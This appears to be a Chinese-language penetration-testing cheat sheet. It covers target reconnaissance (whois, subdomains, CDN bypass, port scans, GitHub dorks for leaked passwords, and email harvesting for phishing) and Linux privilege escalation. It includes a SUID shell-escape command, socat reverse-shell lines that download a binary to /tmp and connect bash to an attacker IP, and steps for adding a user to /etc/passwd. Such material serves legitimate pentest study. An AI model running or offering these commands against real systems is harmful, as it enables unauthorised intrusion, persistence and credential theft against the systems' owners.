渗透框架
信息收集
whois 信息
获取注册人信息,包括注册邮箱、注册公司、管理员邮箱、管理员联系电话,可以社工,还可以查询同一注册人注册的其他域名,域名对应的NS记录、MX记录,自动识别国内常见托管商
1 | http://ipwhois.cnnic.net.cn/ |
站长之家和微步支持反查,另外两个中文显示有乱码
子域名
爆破,
1
2
3
4
5wydomain,
sublist3r
layer 子域名挖掘机(支持端口扫描和探测服务器类型)
https://phpinfo.me/domain
subDomainsBrutegoogle hack,搜索
site:example.com
,也可以使用其他搜索引擎
dns解析记录、爬虫、ssl证书、dns历史解析等等
备案信息
分为 IPC 备案信息和公安部备案信息,只有国内服务器需要备案。
1 | http://www.beianbeian.com/ |
企业信息
天眼查、启信宝
CDN
判断
- Nslookup,Windows 命令:
1 | nslookup baidu.com |
- host,dig , Linux 命令:
1 | host 360.cn |
- 多地ping,网站:
1 | https://asm.ca.com/en/ping.php/ |
- 使用工具查询
1 | http://www.cdnplanet.com/tools/cdnfinder/ |
绕过
- 子域名入手,有些子域名没有使用 cdn
- 利用网站漏洞,比如 phpinfo 信息泄露, Apache status 和 Jboss statu 泄露,源代码泄露, svn信息泄露, github 信息泄露
- 历史dns记录,查询网站:
1 | https://dnsdb.io/zh-cn/ |
- CDN 本身入手,比如利用社工获得控制面板的账号密码
- Mx记录或邮件,很多站点有发送邮件的功能,比如 rss 订阅,邮件系统一般在内部,没有经过CDN,邮件源码中可能包含服务器真实 IP
- 国外请求,国内CDN有时不会覆盖国外,可以通过国外代理访问得到真实 IP
1 | https://asm.ca.com/en/ping.php |
- 扫描探测,通过信息收集,缩小扫描范围,确定一个较小的 IP 和端口范围,通过 http 指纹特征和 keyword 等综合判断
1 | https://github.com/zmap/zgrab/ |
- Zmap,参考 安全客 - 简单获取 CDN 背后的真实IP
- 网络空间引擎搜索,zoomeye fofa shodan,获得历史快照,获取特征,例如:特有的 HTTP 头(server类型,版本,cookie等信息)、特定keyword(title, css, js, url等)、特定IP段搜索(fofa支持C段搜索)
- 查询 HTTPS 证书,
1 | https://censys.io/ |
这个网站会将所有 IP 进行扫描和连接,以及证书探测,如果目标站点有 https 证书,而且默认虚拟主机配了https证书,就可以找所有目标站点是改https证书的站点。
1 | 443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.xxx.com |
- F5 LTM 负载均衡解码获取真实内网IP,透过F5获取服务器真实内网IP - ThreatHunter
旁站
查询与目标网站在同一台服务器上的网站
1 | https://tool.lu/dns/ |
C段
查询与目标服务器IP在同一C段的服务器
1 | 北极熊扫描器 |
邮箱收集
首先确定目标邮件服务器所在的真实位置,看看邮件服务器有没有什么错误配置,比如没有禁用VREY或者EXPN命令导致用户信息泄露。然后从 whois 中获得域名的注册人,管理员邮箱,利用该搜索引擎和社工库等查看有没有泄露密码。或者从目标站点上搜集邮箱,比如网站上的联系我们,可以用于钓鱼。工具:theharvester
端口扫描
开始时可以使用 telnet 简单检查端口是否开放,防止使用扫描器被封IP。可以用 nmap, masscan进行扫描,常见端口以及渗透方法:
1 | 端口号 端口服务/协议简要说明 关于端口可能的一些渗透用途 |
nmap 常用选项:
1 | # 扫描选项 |
服务器和中间件信息
通过 nmap, zmap 等端口和指纹识别功能搜集,也可以使用 nc 和 telnet 进行 banner信息识别,常用工具 whatweb, www.yunsee.cn , wappalyzer
WAF
WAF识别一般基于 header 信息,工具:waf00f,whatwaf,nmap
nmap 脚本:http-waf-detect, http-waf-fingerprint
敏感文件、目录扫描
- 御剑,dirsearch,dirb,dirbuster
- 搜索引擎,基本语法
1 | "" # 强制搜索 |
BBscan
GSIL,搜索Github信息
社交平台(QQ群,文库,求职网),可以通过QQ群文件,在线文档平台等泄露敏感信息
CMS
1 | 国内: |
识别后可以搜索已知漏洞,查找源代码进行审计。
脆弱系统
通过网络空间搜索引擎进行查询
1 | shodan |
Github
搜索 github 上的信息
邮件配置:
1 | site:Github.com smtp |
数据库信息:
1 | site:Github.com sa password |
SVN 信息:
1 | site:Github.com svn |
数据库备份:
1 | site:Github.com inurl:sql |
其他:
1 | site:Github.com password |
权限提升
Linux 提权参考
SUID 提权
查找所有SUID可执行文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
可 SUID 提权的可执行文件:
Nmap(2.02-5.21)
find
1
find . -exec /bin/sh -p \; -quit
vim
bash
less
more
注意事项
升级shell
参考Upgrading Simple Shells to Fully Interactive TTYs
升级方法有三:
使用 python pty 模块
1
python -c 'import pty; pty.spawn("/bin/bash")'
使用 socat
攻击者(监听)
1
socat file:`tty`,raw,echo=0 tcp-listen:4444
受害者
1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.3.1:4444
若受害者没有安装 socat,可以下载 Socat - Github
1
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.3.1:4444
使用 netcat
1
2
3
4
5
6
7
8
9
10
11
12
13# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
find 命令
/etc/passwd 中添加用户
字段 | 含义 |
---|---|
用户名 | |
密码 | 密文 |
UID | |
GID | 默认组ID |
注释性描述 | |
宿主目录 | 登陆后的默认目录 |
命令解释器 | 该用户使用的 shell,默认 bash |
添加新用户
1 | # 生成密码密文 |
敏感文件
1 | /etc/passwd |
密码爆破
john